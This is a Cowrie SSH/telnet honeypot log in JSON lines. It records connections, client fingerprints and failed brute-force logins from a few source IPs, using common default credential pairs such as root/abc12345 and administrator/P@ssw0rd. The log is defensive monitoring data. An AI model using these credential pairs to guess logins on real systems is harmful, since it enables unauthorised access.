{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbd4a49034c","protocol":"ssh","message":"New connection: 45.156.87.253:44176 (10.17.0.5:22) [session: ecbd4a49034c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.115611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.119784Z","src_ip":"45.156.87.253","session":"ecbd4a49034c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.201171Z","src_ip":"45.156.87.253","session":"ecbd4a49034c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.445547Z","src_ip":"45.156.87.253","session":"ecbd4a49034c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":44686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c78861ea9b5e","protocol":"ssh","message":"New connection: 91.92.40.11:44686 (10.17.0.5:22) [session: c78861ea9b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.478985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.539073Z","src_ip":"91.92.40.11","session":"c78861ea9b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:49.641090Z","src_ip":"91.92.40.11","session":"c78861ea9b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd","message":"login attempt [administrator/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:50.411701Z","src_ip":"91.92.40.11","session":"c78861ea9b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:50.529392Z","src_ip":"45.156.87.253","session":"ecbd4a49034c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:51.580503Z","src_ip":"91.92.40.11","session":"c78861ea9b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37ef977d74f","protocol":"ssh","message":"New connection: 45.156.87.253:34474 (10.17.0.5:22) [session: b37ef977d74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:52.396872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:52.429998Z","src_ip":"45.156.87.253","session":"b37ef977d74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:52.581449Z","src_ip":"45.156.87.253","session":"b37ef977d74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:52.827318Z","src_ip":"45.156.87.253","session":"b37ef977d74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:53.911457Z","src_ip":"45.156.87.253","session":"b37ef977d74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"91444216943a","protocol":"ssh","message":"New connection: 45.156.87.253:34476 (10.17.0.5:22) [session: 91444216943a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:55.828111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:55.832239Z","src_ip":"45.156.87.253","session":"91444216943a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:55.912602Z","src_ip":"45.156.87.253","session":"91444216943a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:56.157005Z","src_ip":"45.156.87.253","session":"91444216943a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:57.240085Z","src_ip":"45.156.87.253","session":"91444216943a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34478,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c70e9ef255","protocol":"ssh","message":"New connection: 45.156.87.253:34478 (10.17.0.5:22) [session: f2c70e9ef255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.093447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.097266Z","src_ip":"45.156.87.253","session":"f2c70e9ef255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81459426879883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.152904Z","src_ip":"115.160.92.142","session":"9434e302c836","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.177095Z","src_ip":"45.156.87.253","session":"f2c70e9ef255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":37591,"dst_ip":"159.203.135.109","dst_port":23,"session":"9451c87c5dd3","protocol":"telnet","message":"New connection: 115.160.92.142:37591 (159.203.135.109:23) [session: 9451c87c5dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.342360Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.420975Z","src_ip":"45.156.87.253","session":"f2c70e9ef255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":59610,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea285b0bff9","protocol":"ssh","message":"New connection: 66.29.142.197:59610 (10.17.0.5:22) [session: 3ea285b0bff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.869398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.872644Z","src_ip":"66.29.142.197","session":"3ea285b0bff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:59.935841Z","src_ip":"66.29.142.197","session":"3ea285b0bff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph456","message":"login attempt [thegraph/graph456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:00.133136Z","src_ip":"66.29.142.197","session":"3ea285b0bff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"S2fGqNFs","message":"login attempt [default/S2fGqNFs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:00.191628Z","src_ip":"115.160.92.142","session":"9451c87c5dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:00.503871Z","src_ip":"45.156.87.253","session":"f2c70e9ef255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:01.198223Z","src_ip":"66.29.142.197","session":"3ea285b0bff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:01.329984Z","src_ip":"115.160.92.142","session":"9451c87c5dd3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:02.259944Z","src_ip":"115.160.92.142","session":"9451c87c5dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45034,"dst_ip":"10.17.0.5","dst_port":22,"session":"9052e27c0cc8","protocol":"ssh","message":"New connection: 45.156.87.253:45034 (10.17.0.5:22) [session: 9052e27c0cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:02.412483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:02.531129Z","src_ip":"45.156.87.253","session":"9052e27c0cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:02.534271Z","src_ip":"45.156.87.253","session":"9052e27c0cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:02.864459Z","src_ip":"45.156.87.253","session":"9052e27c0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:03.947870Z","src_ip":"45.156.87.253","session":"9052e27c0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45036,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc48b9e40dda","protocol":"ssh","message":"New connection: 45.156.87.253:45036 (10.17.0.5:22) [session: cc48b9e40dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:05.921882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:05.925488Z","src_ip":"45.156.87.253","session":"cc48b9e40dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:06.006856Z","src_ip":"45.156.87.253","session":"cc48b9e40dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:06.255304Z","src_ip":"45.156.87.253","session":"cc48b9e40dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:07.423771Z","src_ip":"45.156.87.253","session":"cc48b9e40dda","protocol":"ssh"}
